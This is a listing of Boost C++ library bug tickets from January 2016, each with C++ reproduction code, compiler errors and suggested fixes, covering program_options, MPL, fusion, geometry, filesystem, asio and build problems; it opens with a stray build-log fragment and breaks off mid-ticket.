"C:\Users\TLYONS~1\AppData\Local\Temp\b2_msvc_14.0_vcvarsall_x86_arm.cmd" >nul ' notice: [msvc-cfg] condition: '<toolset>msvc-14.0/<architecture>arm/<address-model>32', setup: 'call "C:\Users\TLYONS~1\AppData\Local\Temp\b2_msvc_14.0_vcvarsall_x86_arm.cmd" >nul ' notice: [zlib] Using pre-installed library

#11935: boost::program_options::error_with_option_name.what() throws std::out_of_range when an empty option is used in the command input

mark.incley@… — Fri, 22 Jan 2016 16:11:20 GMT

Hi,

After accidentally typing "-v . -" (without the quotes) into a Windows command line app written with boost::po, it crashed. The app's catch block (code below) calls boost::po::error_with_option_name.what() and this subsequently throws std::out_of_range().

It appears as though the empty option "-" confuses boost::program_options::strip_prefixes(const std::string& text) which is called with text value of "-", resulting in text.substr being called with a value of npos:

  inline std::string strip_prefixes(const std::string& text)
    {
        // "--foo-bar" -> "foo-bar"[[BR]]
        return text.substr(text.find_first_not_of("-/"));
    }

Here's my code.

po::variables_map vm;
	po::options_description desc("Options");
	desc.add_options()
		("folder,f",	po::wvalue<wstring>()->required(), "Specify the name of the folder containing the C++ projects to check")
		("list,l",		"List the project file names as they're checked")
		("verbose,v",	"Verbose; Show the node values when finding non-SAK SCC values")
		("help,?",		"Show usage information")
		;
	po::positional_options_description pod;
	pod.add("folder", -1);
	try
	{
		po::store(po::wcommand_line_parser(argc, argv).options(desc).positional(pod).run(), vm);
		po::notify(vm);
	}
	catch (const boost::program_options::error & e)
	{
		cerr << w32::fg_red << e.what() << w32::restore << endl;
		return ERROR_UNHANDLED_EXCEPTION;
	}

I am using Boost 1.60 on Windows 7 (64-bit) with Visual Studio 2015 Update 1.

Cheers
Mark.

#11934: Various warnings in 1.60 MPL when compiling with nvcc

Fri, 22 Jan 2016 09:06:42 GMT

I'm compiling a larger project ( https://github.com/ComputationalRadiationPhysics/picongpu/ current dev) which uses boost heavily. However a lot of warnings are issued. Since we are quite agnostic to warnings (compiling with many warnings enabled and -Werror) this is troubling and it would be great, if those are fixed in future versions. If I remember correctly older versions (1.58) did not had them.

CUDA 7.0

boost/mpl/map/aux_/item.hpp(54): warning: "boost::mpl::aux::type_wrapper<T> operator/(const boost::mpl::m_item<Key, T, Base> &, boost::mpl::aux::type_wrapper<Key> *)" declares a non-template function -- add <> to refer to a template instance
boost/mpl/map/aux_/item.hpp(55): warning: "boost::mpl::aux::type_wrapper<boost::mpl::pair<Key, T>> operator|(const boost::mpl::m_item<Key, T, Base> &, boost::mpl::next<Base::order>::type *)" declares a non-template function -- add <> to refer to a template instance
boost/mpl/map/aux_/item.hpp(56): warning: "char (&operator||(const boost::mpl::m_item<Key, T, Base> &, boost::mpl::aux::type_wrapper<Key> *))[boost::mpl::next<Base::order>::type::value]" declares a non-template function -- add <> to refer to a template instance
boost/mpl/map/aux_/item.hpp(71): warning: "boost::mpl::aux::type_wrapper<mpl_::void_> operator/(const boost::mpl::m_mask<Key, Base> &, boost::mpl::aux::type_wrapper<Key> *)" declares a non-template function -- add <> to refer to a template instance
boost/mpl/map/aux_/item.hpp(72): warning: "boost::mpl::aux::type_wrapper<mpl_::void_> operator|(const boost::mpl::m_mask<Key, Base> &, boost::mpl::x_order_impl<Base, Key>::type *)" declares a non-template function -- add <> to refer to a template instance
boost/mpl/map/aux_/item.hpp:54:109: warning: friend declaration ‘boost::mpl::aux::type_wrapper<Key> boost::mpl::operator/(const boost::mpl::m_item<Key, T, Base>&, boost::mpl::aux::type_wrapper<T>*)’ declares a non-template function [-Wnon-template-friend]
     BOOST_MPL_AUX_MAP_OVERLOAD( aux::type_wrapper<T>, VALUE_BY_KEY, m_item, aux::type_wrapper<Key>* );
                                                                                                             ^
boost/mpl/map/aux_/item.hpp:54:109: note: (if this is not what you intended, make sure the function template has already been declared and add <> after the function name here)
boost/mpl/map/aux_/item.hpp:55:90: warning: friend declaration ‘boost::mpl::aux::type_wrapper<boost::mpl::pair<T1, T2> > boost::mpl::operator|(const boost::mpl::m_item<Key, T, Base>&, boost::mpl::m_item<Key, T, Base>::order*)’ declares a non-template function [-Wnon-template-friend]
     BOOST_MPL_AUX_MAP_OVERLOAD( aux::type_wrapper<item>, ITEM_BY_ORDER, m_item, order* );
                                                                                          ^
boost/mpl/map/aux_/item.hpp:56:85: warning: friend declaration ‘char (& boost::mpl::operator||(const boost::mpl::m_item<Key, T, Base>&, boost::mpl::aux::type_wrapper<T>*))[boost::mpl::m_item<Key, T, Base>::order:: value]’ declares a non-template function [-Wnon-template-friend]
     BOOST_MPL_AUX_MAP_OVERLOAD( order_tag_, ORDER_BY_KEY, m_item, aux::type_wrapper<Key>* );
                                                                                     ^
boost/mpl/map/aux_/item.hpp:71:121: warning: friend declaration ‘boost::mpl::aux::type_wrapper<mpl_::void_> boost::mpl::operator/(const boost::mpl::m_mask<Key, Base>&, boost::mpl::aux::type_wrapper<T>*)’ declares a non-template function [-Wnon-template-friend]
     BOOST_MPL_AUX_MAP_OVERLOAD( aux::type_wrapper<void_>, VALUE_BY_KEY, m_mask, aux::type_wrapper<Key>* );
                                                                                                                         ^
boost/mpl/map/aux_/item.hpp:72:94: warning: friend declaration ‘boost::mpl::aux::type_wrapper<mpl_::void_> boost::mpl::operator|(const boost::mpl::m_mask<Key, Base>&, boost::mpl::m_mask<Key, Base>::key_order_*)’ declares a non-template function [-Wnon-template-friend]
     BOOST_MPL_AUX_MAP_OVERLOAD( aux::type_wrapper<void_>, ITEM_BY_ORDER, m_mask, key_order_* );

CUDA 7.5

boost/mpl/map/aux_/item.hpp(54): warning: "boost::mpl::aux::type_wrapper<T> operator/(const boost::mpl::m_item<Key, T, Base> &, boost::mpl::aux::type_wrapper<Key> *)" declares a non-template function -- add <> to refer to a template instance
boost/mpl/map/aux_/item.hpp(55): warning: "boost::mpl::aux::type_wrapper<boost::mpl::pair<Key, T>> operator|(const boost::mpl::m_item<Key, T, Base> &, boost::mpl::next<Base::order>::type *)" declares a non-template function -- add <> to refer to a template instance
boost/mpl/map/aux_/item.hpp(56): warning: "char (&operator||(const boost::mpl::m_item<Key, T, Base> &, boost::mpl::aux::type_wrapper<Key> *))[boost::mpl::next<Base::order>::type::value]" declares a non-template function -- add <> to refer to a template instance
boost/mpl/map/aux_/item.hpp(71): warning: "boost::mpl::aux::type_wrapper<mpl_::void_> operator/(const boost::mpl::m_mask<Key, Base> &, boost::mpl::aux::type_wrapper<Key> *)" declares a non-template function -- add <> to refer to a template instance
boost/mpl/map/aux_/item.hpp(72): warning: "boost::mpl::aux::type_wrapper<mpl_::void_> operator|(const boost::mpl::m_mask<Key, Base> &, boost::mpl::x_order_impl<Base, Key>::type *)" declares a non-template function -- add <> to refer to a template instance
boost/mpl/map/aux_/item.hpp:54:109: warning: friend declaration ‘boost::mpl::aux::type_wrapper<Key> boost::mpl::operator/(const boost::mpl::m_item<Key, T, Base>&, boost::mpl::aux::type_wrapper<T>*)’ declares a non-template function [-Wnon-template-friend]
     BOOST_MPL_AUX_MAP_OVERLOAD( aux::type_wrapper<T>, VALUE_BY_KEY, m_item, aux::type_wrapper<Key>* );
                                                                                                             ^
boost/mpl/map/aux_/item.hpp:54:109: note: (if this is not what you intended, make sure the function template has already been declared and add <> after the function name here)
boost/mpl/map/aux_/item.hpp:55:90: warning: friend declaration ‘boost::mpl::aux::type_wrapper<boost::mpl::pair<T1, T2> > boost::mpl::operator|(const boost::mpl::m_item<Key, T, Base>&, boost::mpl::m_item<Key, T, Base>::order*)’ declares a non-template function [-Wnon-template-friend]
     BOOST_MPL_AUX_MAP_OVERLOAD( aux::type_wrapper<item>, ITEM_BY_ORDER, m_item, order* );
                                                                                          ^
boost/mpl/map/aux_/item.hpp:56:85: warning: friend declaration ‘char (& boost::mpl::operator||(const boost::mpl::m_item<Key, T, Base>&, boost::mpl::aux::type_wrapper<T>*))[boost::mpl::m_item<Key, T, Base>::order:: value]’ declares a non-template function [-Wnon-template-friend]
     BOOST_MPL_AUX_MAP_OVERLOAD( order_tag_, ORDER_BY_KEY, m_item, aux::type_wrapper<Key>* );
                                                                                     ^
boost/mpl/map/aux_/item.hpp:71:121: warning: friend declaration ‘boost::mpl::aux::type_wrapper<mpl_::void_> boost::mpl::operator/(const boost::mpl::m_mask<Key, Base>&, boost::mpl::aux::type_wrapper<T>*)’ declares a non-template function [-Wnon-template-friend]
     BOOST_MPL_AUX_MAP_OVERLOAD( aux::type_wrapper<void_>, VALUE_BY_KEY, m_mask, aux::type_wrapper<Key>* );
                                                                                                                         ^
boost/mpl/map/aux_/item.hpp:72:94: warning: friend declaration ‘boost::mpl::aux::type_wrapper<mpl_::void_> boost::mpl::operator|(const boost::mpl::m_mask<Key, Base>&, boost::mpl::m_mask<Key, Base>::key_order_*)’ declares a non-template function [-Wnon-template-friend]
     BOOST_MPL_AUX_MAP_OVERLOAD( aux::type_wrapper<void_>, ITEM_BY_ORDER, m_mask, key_order_* );

#11933: warnings in 1.60 when compiling with nvcc

Fri, 22 Jan 2016 09:01:55 GMT

CUDA 7.0

boost/smart_ptr/detail/sp_counted_base_gcc_x86.hpp(49): warning: "cc" clobber ignored
boost/smart_ptr/detail/sp_counted_base_gcc_x86.hpp(65): warning: "cc" clobber ignored
boost/smart_ptr/detail/sp_counted_base_gcc_x86.hpp(91): warning: "cc" clobber ignored
boost/smart_ptr/detail/sp_counted_base_gcc_x86.hpp(75): warning: variable "tmp" was set but never used

CUDA 7.5

boost/smart_ptr/detail/sp_counted_base_gcc_x86.hpp(75): warning: variable "tmp" was set but never used

#11932: Binary MPL transform on empty fusion sequences does not work

zeratul976@… — Fri, 22 Jan 2016 00:24:07 GMT

The following code does not compile with Boost 1.60 in C++11 mode. Tested with recent gcc and clang.

#include <boost/mpl/transform.hpp>
#include <boost/fusion/container/vector.hpp>
#include <boost/fusion/mpl.hpp>
struct predicate {
    template <typename T, typename U>
    struct apply {
        typedef T type;
    };
};
typedef
    boost::mpl::transform<
        boost::fusion::vector<>,
        boost::fusion::vector<>,
        predicate>
    ::type
Result;

The error is:

In file included from test.cpp:2:
In file included from boost/include/boost/fusion/container/vector.hpp:12:
In file included from boost/include/boost/fusion/container/vector/vector.hpp:28:
In file included from boost/include/boost/fusion/container/vector/detail/at_impl.hpp:12:
boost/include/boost/fusion/container/vector/detail/value_at_impl.hpp:50:57: error: no matching function for call to 'value_at_impl'
                typedef typename mpl::identity<decltype(seq::template value_at_impl<N::value>(boost::declval<seq*>()))>::type::type type;
                                                        ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
boost/include/boost/fusion/container/vector/detail/value_of_impl.hpp:30:61: note: in instantiation of template class
      'boost::fusion::extension::value_at_impl<boost::fusion::vector_tag>::apply<boost::fusion::vector<>, mpl_::int_<0>>' requested here
                typedef typename value_at_impl<vector_tag>::template apply<vector, index>::type type;
                                                            ^
boost/include/boost/fusion/iterator/value_of.hpp:52:15: note: in instantiation of template class
      'boost::fusion::extension::value_of_impl<boost::fusion::vector_iterator_tag>::apply<boost::fusion::vector_iterator<boost::fusion::vector<>, 0>>' requested here
            : extension::value_of_impl<typename detail::tag_of<Iterator>::type>::
              ^
boost/include/boost/fusion/iterator/mpl/fusion_iterator.hpp:47:45: note: in instantiation of template class
      'boost::fusion::result_of::value_of<boost::fusion::vector_iterator<boost::fusion::vector<>, 0>>' requested here
        typedef typename fusion::result_of::value_of<Iterator>::type type;
                                            ^
boost/include/boost/mpl/iterator_category.hpp:27:22: note: in instantiation of template class
      'boost::mpl::fusion_iterator<boost::fusion::vector_iterator<boost::fusion::vector<>, 0>>' requested here
    typedef typename Iterator::category type;
                     ^
boost/include/boost/mpl/pair_view.hpp:152:20: note: in instantiation of template class
      'boost::mpl::iterator_category<boost::mpl::fusion_iterator<boost::fusion::vector_iterator<boost::fusion::vector<>, 0>>>' requested here
          typename iterator_category<iter1_>::type
                   ^
boost/include/boost/mpl/aux_/has_tag.hpp:20:1: note: in instantiation of template class 'boost::mpl::pair_view<boost::fusion::vector<>, boost::fusion::vector<>>'
      requested here
BOOST_MPL_HAS_XXX_TRAIT_NAMED_DEF(has_tag, tag, false)
^
boost/include/boost/mpl/has_xxx.hpp:245:65: note: expanded from macro 'BOOST_MPL_HAS_XXX_TRAIT_NAMED_DEF'
            , boost::mpl::aux::type_wrapper<BOOST_MSVC_TYPENAME U::name>* = 0 \
                                                                ^
boost/include/boost/mpl/aux_/has_tag.hpp:20:1: note: while substituting deduced template arguments into function template 'test' [with U =
      boost::mpl::pair_view<boost::fusion::vector<>, boost::fusion::vector<>>]
BOOST_MPL_HAS_XXX_TRAIT_NAMED_DEF(has_tag, tag, false)
^
boost/include/boost/mpl/has_xxx.hpp:253:18: note: expanded from macro 'BOOST_MPL_HAS_XXX_TRAIT_NAMED_DEF'
          sizeof(gcc_3_2_wknd::test(static_cast<t_*>(0))) \
                 ^
boost/include/boost/config/suffix.hpp:394:72: note: expanded from macro 'BOOST_STATIC_CONSTANT'
#     define BOOST_STATIC_CONSTANT(type, assignment) static const type assignment
                                                                       ^
boost/include/boost/mpl/sequence_tag.hpp:112:30: note: in instantiation of template class 'boost::mpl::aux::has_tag<boost::mpl::pair_view<boost::fusion::vector<>,
      boost::fusion::vector<>>, mpl_::bool_<false>>' requested here
          ::boost::mpl::aux::has_tag<Sequence>::value
                             ^
boost/include/boost/mpl/O1_size.hpp:30:30: note: in instantiation of template class 'boost::mpl::sequence_tag<boost::mpl::pair_view<boost::fusion::vector<>,
      boost::fusion::vector<>>>' requested here
    : O1_size_impl< typename sequence_tag<Sequence>::type>
                             ^
boost/include/boost/mpl/fold.hpp:34:25: note: in instantiation of template class 'boost::mpl::O1_size<boost::mpl::pair_view<boost::fusion::vector<>,
      boost::fusion::vector<>>>' requested here
          ::boost::mpl::O1_size<Sequence>::value
                        ^
boost/include/boost/mpl/transform.hpp:75:7: note: in instantiation of template class 'boost::mpl::fold<boost::mpl::pair_view<boost::fusion::vector<>,
      boost::fusion::vector<>>, boost::fusion::vector<>, boost::mpl::bind2<boost::mpl::push_back<mpl_::na, mpl_::na>, mpl_::arg<1>, boost::mpl::bind2<predicate,
      boost::mpl::bind1<boost::mpl::first<mpl_::na>, mpl_::arg<2>>, boost::mpl::bind1<boost::mpl::second<mpl_::na>, mpl_::arg<2>>>>>' requested here
    : fold<
      ^
boost/include/boost/mpl/transform.hpp:114:1: note: in instantiation of template class 'boost::mpl::aux::transform2_impl<boost::fusion::vector<>,
      boost::fusion::vector<>, predicate, boost::mpl::back_inserter<boost::fusion::vector<>>>' requested here
BOOST_MPL_AUX_INSERTER_ALGORITHM_DEF(4, transform2)
^
boost/include/boost/mpl/aux_/inserter_algorithm.hpp:52:7: note: expanded from macro 'BOOST_MPL_AUX_INSERTER_ALGORITHM_DEF'
    : if_< has_push_back< typename clear<P1>::type> \
      ^
boost/include/boost/mpl/eval_if.hpp:38:22: note: in instantiation of template class 'boost::mpl::transform2<boost::fusion::vector<>, boost::fusion::vector<>, predicate,
      mpl_::na>' requested here
    typedef typename f_::type type;
                     ^
boost/include/boost/mpl/transform.hpp:138:1: note: in instantiation of template class 'boost::mpl::eval_if<boost::mpl::or_<boost::mpl::is_na<predicate>,
      boost::mpl::is_lambda_expression<boost::fusion::vector<>>, boost::mpl::not_<boost::mpl::is_sequence<boost::fusion::vector<>>>, mpl_::bool_<false>, mpl_::bool_<false>>,
      boost::mpl::transform1<boost::fusion::vector<>, boost::fusion::vector<>, predicate>, boost::mpl::transform2<boost::fusion::vector<>, boost::fusion::vector<>, predicate, mpl_::na>>'
      requested here
AUX778076_TRANSFORM_DEF(transform)
^
boost/include/boost/mpl/transform.hpp:125:22: note: expanded from macro 'AUX778076_TRANSFORM_DEF'
    typedef typename eval_if<                                           \
                     ^
test.cpp:13:17: note: in instantiation of template class 'boost::mpl::transform<boost::fusion::vector<>, boost::fusion::vector<>, predicate, mpl_::na>' requested here
    boost::mpl::transform<
                ^
boost/include/boost/fusion/container/vector/vector.hpp:275:30: note: candidate template ignored: could not match 'store' against 'vector'
            mpl::identity<U> value_at_impl(store<N, U>*);
                             ^

Kohei has indicated on the mailing list [1] that this affects C++11 mode only, and seems to be a regression in 1.60.

[1] http://boost.2283326.n4.nabble.com/fusion-mpl-binary-MPL-transform-on-empty-fusion-vectors-tp4682832p4682837.html

#11929: haversine method is inaccurate

Thu, 21 Jan 2016 19:03:03 GMT

The following code illustrates a problem with the "haversine" strategy for computing great circle distances. It computes the distance between two nearly antipodal points. The relative error in the result is 5e-9, much bigger than you should get with doubles.

#include <iostream>
#include <cmath>
#include <boost/geometry.hpp>
namespace bg = boost::geometry;
typedef bg::model::point<double, 2,
                         bg::cs::spherical_equatorial<bg::degree> > pt;
int main() {
  double pi = std::atan2(0, -1);
  bg::model::segment<pt> seg;
  bg::read_wkt("SEGMENT(0.000001 0, 180 0)", seg);
  double
    // arc length (converted to degrees
    dist = bg::distance(seg.first, seg.second) * (180/pi),
    // the correct distance (in degrees)
    dist0 = 180 - 0.000001,
    err = (dist - dist0) / dist0;
  std::cout << "relative error " << err << "\n";
}

Running this code gives

relative error 5.55556e-09

Discussion:

Surely it's a bad idea to embed the algorithm name "haversine" into the API. Computing great circle distances is really straightforward. Users shouldn't need to worry about the underlying method. Maybe "great_circle" is a better name.
The use of haversines made sense when the log haversine function was tabulated and you needed trigonometric identities involving products to facilitate computations with log tables. Nowadays there are better formulas.
As this example illustrates, it's subject to a loss of accuracy with antipodal points (it takes the arcsine of a number close to 1.)
A good formula to use is given in the Wikipedia article on great-circle navigation (this is the formula used by Vincenty in the spherical limit -- but it surely doesn't originate with him).

#11927: optional_test_swap.cpp: In C++11 mode, std::swap should have a noexcept specification

Wed, 20 Jan 2016 18:59:53 GMT

Compiling libs/optional/test/optional_test_swap.cpp with Oracle Solaris Studio 12.5 in C++11 mode, we see the following error: "../libs/optional/test/optional_test_swap.cpp", line 239: Error: The prior declaration for std::swap<optional_swap_test::class_whose_default_ctor_should_not_be_used>(optional_swap_test::class_whose_default_ctor_should_not_be_used&, optional_swap_test::class_whose_default_ctor_should_not_be_used&) has an exception specification. "../libs/optional/test/optional_test_swap.cpp", line 245: Error: The prior declaration for std::swap<optional_swap_test::class_without_default_ctor>(optional_swap_test::class_without_default_ctor&, optional_swap_test::class_without_default_ctor&) has an exception specification. 2 Error(s) detected.

See: http://www.boost.org/development/tests/develop/developer/output/oracle-intel-S2-12-5-cpp11-boost-bin-v2-libs-optional-test-optional_test_swap-test-sun-12-5_cpp11-release-threading-multi.html

In C++03, the std::swap template does not have an exception specification. In C++11, it has a noexcept specification.

This seems to be a violation of the standard. 15.4[except.spec]p5: ===== If any declaration of a function has an exception-specification that is not a noexcept-specification allowing all exceptions, all declarations, including the definition and any explicit specialization, of that function shall have a compatible exception-specification.

#11926: b2 returns an error code of 1 on Windows when using the --show-libraries option

wkurlancheek@… — Wed, 20 Jan 2016 18:21:33 GMT

b2.exe --show-libraries will return the correct information but script will exit with a return code of 1. The functionality of the --show-libraries option is correct but having a return code of 1 makes creating a script based on this output a little difficult.

#11921: Bootstrap fails to run on windows 8.1 vc12 due to environment variable

junaid1@… — Mon, 18 Jan 2016 15:39:00 GMT

I have noticed that on my system (win 8.1 vc12) I have an environment variable that causes bootstrap to fail due to the link subsystem set to windows by default, the environment variable is

LINK=/SUBSYSTEM:WINDOWS,5.01

error is

error LNK2019: unresolved external symbol _WinMain@16 referenced in function _tmainCRTStartup

The problem can be resolved by explicitly setting the link subsystem via compiler "link" switch "-link -subsystem:console" , since this is a link switch it can only be added at the end of the compile command i.e cannot add it to compiler flags

I had to make this change to the build.bat and build.jam files by searching for the compiler commands and hardcoding this flag at the end of a compiler command. Since I don't know much about how to fix this in a more "non-hardcoded" way I thought I would log it so that the experts can fix it properly.

#11920: MSVC warning C4505 when po::bool_switch(&flag) is being used

anton.lauridsen@… — Mon, 18 Jan 2016 14:49:59 GMT

When compiling a parameter definition like

("wmi,w", po::bool_switch(&_generateWmi), "Generate Wmi performance counters")

with warning level 4, the follwing warnings are issued in program_options\detail\value_semantic.hpp:

boost_1_60_0\boost\program_options\detail\value_semantic.hpp(17): warning C4505: 'boost::program_options::typed_value<bool,char>::name': unreferenced local function has been removed
boost_1_60_0\boost\program_options\detail\value_semantic.hpp(158): warning C4505: 'boost::program_options::typed_value<bool,char>::xparse': unreferenced local function has been removed
boost\program_options\detail\value_semantic.hpp(35): warning C4505: 'boost::program_options::typed_value<bool,char>::notify': unreferenced local function has been removed

#11919: ERROR_BROKEN_PIPE != boost::system::errc::broken_pipe

anonymous — Mon, 18 Jan 2016 13:22:02 GMT

Hi,

This might be intentional behavior, but I find it strange the following assert fires:

auto e = boost::system::error_code(ERROR_BROKEN_PIPE, boost::system::system_category()); assert(e == boost::system::errc::broken_pipe);

There is a similar Connect issue regarding Microsoft's implementation:

https://connect.microsoft.com/VisualStudio/feedback/details/1856408

#11916: Problem with iterating foreach on in_edges of reverse_graph

pawel.kunio@… — Sat, 16 Jan 2016 16:04:31 GMT

Hello. got a problem with iterating all edges in in_edges by given vertex on reverse_graph.

#11914: abort is called while boost::filesystem::copy tries to throw and exception

Fri, 15 Jan 2016 08:14:49 GMT

Im" using boost 1.60 with Visual Studio 2015 WIN64. Compiled boost simply by running:

bootstrap.bat tools/build/b2 toolset=msvc-14.0 --build-type=minimal --link=static stage

Now, I get a specific situation where abort is called while boost::filesystem::copy tries to throw an exception. Note that other boost::filesystem functions successfully throws.

This code:

#include <boost/filesystem.hpp>
#include <boost/filesystem/operations.hpp>
#include <iostream>
int main( int argc, char* argv[] )
{
    // Stepping to folder:
    try
    {
        boost::filesystem::current_path("B:/dev/msvc2015/vobs_bci/public/tst/base/cppunit/utlfile");
        std::cout << "Worked" << std::endl; // works OK
    }
    catch (...)
    {
    }
    // test throwing upon copy_directory because dource folder does not exist:
    try
    {
        boost::filesystem::copy_directory("s", "b");
    }
    catch (...)
    {
        std::cout << "Caught" << std::endl; // works OK
    }
    // test throwing upon copy because target file already exists:
    try
    {
        boost::filesystem::copy("./test.h", "./copied.cpp"); // works
        boost::filesystem::copy("./test.h", "./copied.cpp"); // should throw and be caught
    }
    catch (...)
    {
        std::cout << "Caught" << std::endl; // never reached...
    }
    std::cout << "Done" << std::endl;
    return 0;
}

Outputs:

Worked
Caught

And then aborts...

Posted on SO first: http://stackoverflow.com/questions/34793451/why-is-boostfilesystem-aborting-instead-of-throwing-an-exception

#11913: free functions should support StreamBuffer concept

vinnie.falco@… — Thu, 14 Jan 2016 21:18:42 GMT

Functions like boost::asio::read which take boost::asio::basic_streambuf<> as parameters should instead take the stream buffer by template argument. A new concept StreamBuffer should be added under "Type Requirements" in the reference.

Rationale: boost free functions should work with user defined stream buffers that meet the requirements. The asio reference alludes to this functionality in the description for basic_streambuf:

"The basic_streambuf class's public interface is intended to permit the following implementation strategies:..."

However without support for types that meet the requirements, user defined stream buffers cannot provide alternate implementation strategies that work with asio free functions.

Example of a user defined streambuf with a compatible interface: https://github.com/ripple/rippled/blob/develop/src/beast/beast/asio/streambuf.h#L38

#11910: recursive_directory_iterator doesn't set end iterator properly when exception is thrown in increment()

Wed, 13 Jan 2016 16:49:16 GMT

in operations.hpp the increment function looks like this:

    void increment()
    {
      BOOST_ASSERT_MSG(m_imp.get(),
        "increment of end recursive_directory_iterator");
      m_imp->increment(0);
      if (m_imp->m_stack.empty())
        m_imp.reset(); // done, so make end iterator
    }

The problem occurs when you are incrementing using the ++ operator. If there is an exception, the stack is never checked to see if it is empty because the m_imp->increment() throws an exception. This leaves the recursive iterator in a bad state.

I fixed it by doing this:

    void increment()
    {
      BOOST_ASSERT_MSG(m_imp.get(),
        "increment of end recursive_directory_iterator");
      try
      {
        m_imp->increment(0);
      }
      catch(filesystem_error e)
      {
        if (m_imp->m_stack.empty())
          m_imp.reset(); // done, so make end iterator
        throw(e);
      }
      if (m_imp->m_stack.empty())
        m_imp.reset(); // done, so make end iterator
    }

but I'm not sure that is the right way to address this issue.

#11909: Bjam loses trailing dash sign in Cxxflags command line parameter

Wed, 13 Jan 2016 00:55:48 GMT

Building boost on Windows with MSVC++ 2015 toolset using this command line:

b2 -a --toolset=msvc-14.0 --build-type=complete --with-serialization --stagedir=stage stage cxxflags=/Zc:threadSafeInit-

as a result, cl.exe actually gets called with /Zc:threadSafeInit parameter (trailing '-' is lost), which reverses the meaning of the flag

I tried "cxxflags=/Zc:threadSafeInit-", cxxflags="/Zc:threadSafeInit-" with the same result

#11908: mpi_process_group.cpp uses undefined class 'std::list'

Wed, 13 Jan 2016 00:17:43 GMT

Errors from building boost:

.\boost/graph/distributed/detail/mpi_process_group.ipp(137) : error C2976: 'std::list' : too few template arguments

.\boost/detail/container_fwd.hpp(134) : see declaration of 'std::list'

.\boost/graph/distributed/detail/mpi_process_group.ipp(137) : error C2079: 'boost::graph::distributed::mpi_process_group::impl::sent_batches' uses undefined class 'std::list'

There seems to be a problem where it is impossible to build the mpi components of boost graph etc. because of a lack of definition of list. I have reproduced this with just the file

c:\Program Files\boost\boost_1_60_0\libs\graph_parallel\src\mpi_process_group.cpp.

A forced include of

C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\include\list

allows error free compilation.

#11905: Exception "character conversion failed" when omitting argument

Tue, 12 Jan 2016 14:11:09 GMT

Hello,

The minimal example I attached simply assigns the value of the optional parameter -i to an int. When the parameter is given (./a.out -i 42), the program exits normally. But if I omit the parameter (./a.out), then the exception "character conversion failed" is raised. It doesn't matter whether the option is "required" or not, or whether a default value is given.

Configuration for which I found the bug: CentOS: 7.2 gcc: 4.8.5 boost: both 1.60.0 and 1.54.0

Configuration for which the bug does not occur: Linux Mint 17.2 gcc 4.8.4 boost 1.54.0

Regards, Thibaut Lepage

#11902: bind placeholder _1 is not defined

zimmermann@… — Mon, 11 Jan 2016 12:08:47 GMT

bind placeholder _1 is not defined in version 1.60.0 .

Example

#include <boost/bind/bind.hpp>
int f(int a, int b) { return a + b; }
int main(void)
{
  int x = 1;
  int a = boost::bind(f, 5, _1)(x);
 return 0;
}

Compiler output:

bind_error.cpp: In function ‘int main()’:
bind_error.cpp:11:29: error: ‘_1’ was not declared in this scope
   int a = boost::bind(f, 5, _1)(x);
                             ^
bind_error.cpp:11:29: note: suggested alternative:
In file included from /home/projekte/libwinforwiss/boost/boost_1_60_0/boost/bind/bind.hpp:2247:0,
                 from bind_error.cpp:1:
/home/projekte/libwinforwiss/boost/boost_1_60_0/boost/bind/placeholders.hpp:46:38: note:   ‘boost::placeholders::_1’
 BOOST_STATIC_CONSTEXPR boost::arg<1> _1;

Replacing _1 with boost::placeholders::_1 works for 1.60.0 , but not for 1.59.0.

#11898: Input stream operator of a filesystem::path can't handle spaces

anonymous — Sat, 09 Jan 2016 20:40:57 GMT

The operator>> in filesystem::path breaks at spaces as it would for a std::string, whereas spaces can be an integral part of a path. Concretely, the following code

boost::filesystem::path p;
std::istringstream("path/with spaces") >> p;
std::cout << p << std::endl;

prints "path/with" on OS X 10.11.2. I believe boost::io::quoted is supposed to take care of the spaces in the operator>> implementation

is >> boost::io::quoted(str, static_cast<Char>('&'));

but this doesn't work on my system. (One of the weird points seems to be that it gets called with two arguments, but its declaration requires three and I can't find a default argument declaration.) Replacing the implementation with

std::getline(is, str);

seems to work for me, but I have a feeling that this bypasses some of the necessary logic in boost::io::quoted.

#11895: Strand service scheduling is hurting ASIO scalability

Fri, 08 Jan 2016 04:38:26 GMT

This problem will be explained best by walking through a scenario:

I have an io_service being run with one thread per CPU core. The CPU has 4 cores. I also have a strand. I then post 10 one-second operations to the strand, and 30 one-second operations to the io_service. That's 40 cumulative seconds of work, and since there are 4 cores, that work should optimally take 10 seconds when performed in parallel.

However, that's not what happens. The work in the io_service is given precedence over the work in the strand. So first, the 30 seconds of cumulative work in the io_service is performed in parallel which takes roughly 7.5 seconds (30 seconds / 4 cores). Only after that work is complete does the 10 seconds of work on the strand get performed. So it ends up taking a total of 17.5 seconds to do all the work because CPU time wasn't distributed optimally.

If we think of the strand and the io_service as queues, what we have here is a queue within a queue. The outer queue's work can be performed in parallel, the inner queue's work is performed serially. It seems to make a whole lot of sense that when control reaches the inner queue, that queue should be serviced until it's empty. After all, there are other threads that can still service the outer queue while that's happening. The opposite is not true. By giving the outer queue priority, ASIO is crippling the concurrency potential of the work in the inner queue i.e. the strand.

This simplified scenario is a very real performance problem for my companies server application. As far as I can tell, the only options for me to address the problem are to implement my own strand that doesn't give control back to the io_service until it's work queue is empty -or- put all of my strands onto one io_service and post all non-strand work to a second, separate io_service.

I attached a sample application that demonstrates the scenario above, complete with timings and a visual print out of the order of operations. It also includes a stripped down strand implementation that demonstrates how the problem could be addressed. The application was built in Visual Studio 2013 with boost version 1.60.0.

#11891: boost::program_options::validation_error throws std::out_of_range when original_token argument is empty

ce.andrade@… — Wed, 06 Jan 2016 22:53:55 GMT

The code below presents some bugs.

#include <iostream>
#include <stdexcept>
#include <boost/program_options.hpp>
using namespace std;
namespace po = boost::program_options;
int main() {
    try {
        // Works OK!
        //throw po::validation_error(po::validation_error::invalid_option_value);
        // Doesn't work and throw std::out_of_range exception
        //throw po::validation_error(po::validation_error::invalid_option_value,
                                   //"--test");
        // Doesn't work as above: std::out_of_range exception
        //throw po::validation_error(po::validation_error::invalid_option_value,
                                   //"--test", "");
        // Doesn't work properly. Although it doesn't throw out_of_range
        // exception, the value "abc" is no shown. The output is:
        // "Error: the argument for option 'test' is invalid"
        throw po::validation_error(po::validation_error::invalid_option_value,
                                   "--test", "abc");
    }
    catch(std::exception& e) {
        cerr << "Error: " << e.what() << "\n";
        return -1;
    }
    catch(...) {
        cerr << "Unknown error!" << "\n";
        return -1;
    }
    return 0;
}

The first instantiation of validation_error works fine. The second and third version throws an std::out_of_range exception:

